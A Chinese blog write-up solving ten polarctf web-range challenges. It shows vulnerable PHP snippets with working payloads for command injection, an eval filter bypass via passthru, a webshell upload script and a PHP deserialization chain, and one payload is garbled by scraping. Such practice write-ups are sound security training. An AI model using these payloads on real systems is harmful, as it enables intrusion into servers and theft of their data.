首页 > 其他分享 >Web刷题之polarctf靶场(3)

Web刷题之polarctf靶场(3)

时间:2024-10-14 19:23:43浏览次数:8  
标签:passthru Web 执行 polarctf flag 靶场 php 刷题

1. 干正则

打开靶场发现是简单的php代码审计, 先构造id=a[0]=www.polarctf.com, 由于要ping两次, 所以先构造cmd=|ls
<?php
error_reporting(0);
if (empty($_GET['id'])) {
    show_source(__FILE__);
    die();
} else {
    include 'flag.php';
    $a = "www.baidu.com";
    $result = "";
    $id = $_GET['id'];
    @parse_str($id);
    echo $a[0];
    if ($a[0] == 'www.polarctf.com') {
        $ip = $_GET['cmd'];
        if (preg_match('/flag\.php/', $ip)) {
            die("don't show flag!!!");
        }

        $result .= shell_exec('ping -c 2 ' . $a[0] . $ip);
        if ($result) {
            echo "<pre>{$result}</pre>";
        }
    } else {
        exit('其实很简单!');
    }
}

image

再由于正则匹配, 我们将cmd修改为cmd=|tac f*

image

#flag{e44882416c9fa79cc5a6a51e6e19cdbc}

2. cool

打开靶场, 发现是简单的php代码审计, 需要GET传一个参数a, 但是系统命令执行函数system()被禁止了, 这里我们用passthru()来替代, a=passthru('ls');
<?php
if(isset($_GET['a'])){
    $a = $_GET['a'];
    if(is_numeric($a)){
        echo "no";
    }
    if(!preg_match("/flag|system|php/i", $a)){
        eval($a);
    }
}else{
    highlight_file(__FILE__);
}
?>

image

由于flag字样也被禁止了, 我们用通识符来得到flag即a=passthru('tac f*');

image

#flag{4512esfgsdIirhgui82545er4g5e5rg4er1}

知识扩展(PHP中常见的命令执行函数和代码执行函数)

1. 命令执行函数
	system(), passthru(), exec(), pcntl_exec(), shell_exec(), popen()/proc_popen(), 反引号``
system()作用: 将字符串作为OS命令执行, 自带输出功能
passthru()作用: 将字符串作为OS命令执行,不需要输出执行结果,且输出全部的内容。
exec()作用: 将字符串作为OS命令执行,需要输出执行结果,且它只会输出最后一行的内容。
反引号的作用: [``]反引号里面的代码也会被当作OS命令来执行

2.代码执行函数
eval(),assert(),call_user_func(),create_function(),array_map(),call_user_func_array(),array_filter(),uasort(),preg_replace()

3. uploader

无任何过滤的文件上传, 直接编写脚本

image

#python
import requests

url = "http://0105ca15-ea17-4e7d-81f0-532138331d00.www.polarctf.com:8090/"
files = {'file': open('E:\桌面\webshell.php', 'rb')}

response = requests.post(url, files=files)

#如果状态码是200
if response.status_code == 200:
    print("Sucessfully")
    print(f"服务器返回信息: {response.text}")
else:
    print(f"状态码为: {response.status_code}")

image

拼接$sandBox和文件名(http://0105ca15-ea17-4e7d-81f0-532138331d00.www.polarctf.com:8090/149c0f3372e25adcc21feb96ea439698/webshell.php), 再用蚁剑连接即可

image

#flag{256d5ca173f463165db6ed366b597da8}

4. 覆盖

和第一题一样
#flag{e44882416c9fa79cc5a6a51e6e19cdbc}

5. PHP反序列化初试

一眼链子为 Easy->__wakeup()->Evil->__toString()

image

先构造ls文件:O:4:"Easy":1:{s:4:"name";O:4:"Evil":2:{s:4:"evil";s:2:"ls";s:9:"%20Evil%20env";N;}}

image

再去读取flag: O:4:"Easy":1:{s:4:"name";O:4:"Evil":2:{s:4:"evil";s:12:"tac [email protected]";s:9:"%20Evil%20env";N;}}

image

#flag{08a46a069bd77e33531bb2ab244f4196}

6. 机器人

根据题目名称, 猜测存在/robots.txt, flag{4749ea1ea481a5d

image

发现有Disallow禁止目录收录, 猜测剩下一半flag在里面

image

#flag{4749ea1ea481a5d56685442c8516b61c}

7. 扫扫看

根据题目提示, 用dirsearch扫一下

image
image

#flag{094c9cc14068a7d18ccd0dd3606e532f}

8. debudao

打卡靶场F12查看源代码得到fake_flag

image

通过BurpSuite发包试试看看有什么回显

image

#flag{72077a55w312584wb1aaa88888cd41af}

9. 审计

直接搜索找到特殊值绕过即可

image
或者
image

#flag{1bc29b36f623ba82aaf6724fd3b16718}

10. upload1

可以看到过滤的后缀名

image
image

上传成功用蚁剑连接即可拿到flag
#flag{adbf5a778175ee757c34d0eba4e932bc}

标签:passthru,Web,执行,polarctf,flag,靶场,php,刷题
From: https://www.cnblogs.com/tlomlyiyi/p/18461848

相关文章

  • WebSecurityConfigurerAdapter 关于成功之后页面跳转的配置
    packagecom.feitai.auth.config;importcom.feitai.manager.PtfUserDetailsManager;importorg.springframework.beans.factory.annotation.Autowired;importorg.springframework.context.annotation.Configuration;importorg.springframework.security.config.annota......
  • 了解 java web并写一个简单的登录功能
    首先我们要知道什么是servlet,它允许开发者创建动态Web内容。Servlet是Java编写的服务器端程序,它扩展了Java的功能,使得它可以在客户端请求时产生动态内容,并且可以与数据库交互。在Java中实现servlet有三种方式:继承HttpServlet抽象类,实现Servlet接口,继承GenericServlet抽......
  • javaweb实现下载功能报错sockettimeout
    javaweb压缩zip包下载,并响应头里面指定文件大小在JavaWeb应用程序中,如果你想要创建一个ZIP文件并通过HTTP响应提供下载,并且希望在响应头中指定文件大小,你可以先将文件写入到一个临时的ByteArrayOutputStream中,这样你就可以计算出压缩后的文件大小。然后,你可以将这个字节......
  • C#中使用Socket请求Web服务器过程
    最开始我们需要明白一件事情,因为这是这篇文章的前提:HTTP协议只是一个应用层协议,它底层是通过TCP进行传输数据的。因此,浏览器访问Web服务器的过程必须先有“连接建立”的发生。而有人或许会问:众所周知,HTTP协议有两大特性,一个是“无连接”性,一个是“无状态”性。这里的“无连接”......
  • web开发工程师的100+个免费资源
    对于网页工程师来说,跟上不断发展的网页技术既重要又具有挑战性。这意味着作为网页开发者,你需要不断学习和适应。以下是作者在开发和学习过程中遇到的一些有价值的工具和资源,分享给大家:JavaScript库jQuery:最著名的JavaScript库。Backbone.js:为复杂的网页应用提供M......
  • WebGIS包括哪些技术栈?怎么学习?
    ​WebGIS,其实是利用Web开发技术结合地理信息系统(GIS)的产物,它是一种通过Internet实现GIS交互操作和服务的最佳途径。WebGIS通过图形化界面直观地呈现地理信息和特定数据,具有可扩展性和跨平台性。它提供交互性,用户可以在Web浏览器上执行基本的GIS功能,如地图拖动、缩放、查询和......
  • 如何在 Ubuntu 16.04 上将 Apache Web 根目录移动到新位置
    前些天发现了一个巨牛的人工智能学习网站,通俗易懂,风趣幽默,忍不住分享一下给大家。点击跳转到网站。简介在Ubuntu上,默认情况下,Apache2Web服务器将其文档存储在/var/www/html目录中,通常位于与操作系统其余部分相同的根文件系统上。然而,有时将文档根目录移动到另一个位......
  • AI绘画StableDIffusion教程!如何利用SDWebUI将图片变得更清晰?全方位对比4种放大方法
    文章目录1、引言2、插件下载和安装3、UltimateSDUpscale(终极SD放大法)4、ControlNettileupscale(瓦片放大法)5、总结零基础AI绘画学习资源介绍......
  • CTFshow-web入门(1-20)-信息搜集
    信息搜集目录信息搜集web1web2web3web4web5web6web7web8web9web10web11web12web13web14web15web16web17web18web19web20web1打开网页发现没有东西查看源代码发现flagflag:ctfshow{c530c49f-f86e-49bc-bc58-8a493b179adb}web2手动添加view-source:flag:ctfshow{7d18c83c......
  • C++可用的websocket库
    库说明优势劣势是否免费商用QtWebSocketsQt框架中的WebSocket模块。不需要额外集成第三方库;支持异步处理,适合在Qt应用程序中处理并发WebSocket请求。性能较差付费libwebsockets轻量级的C库,用于开发WebSocket服务器和客户端。高性能,低内存占用,支持多种平台,包......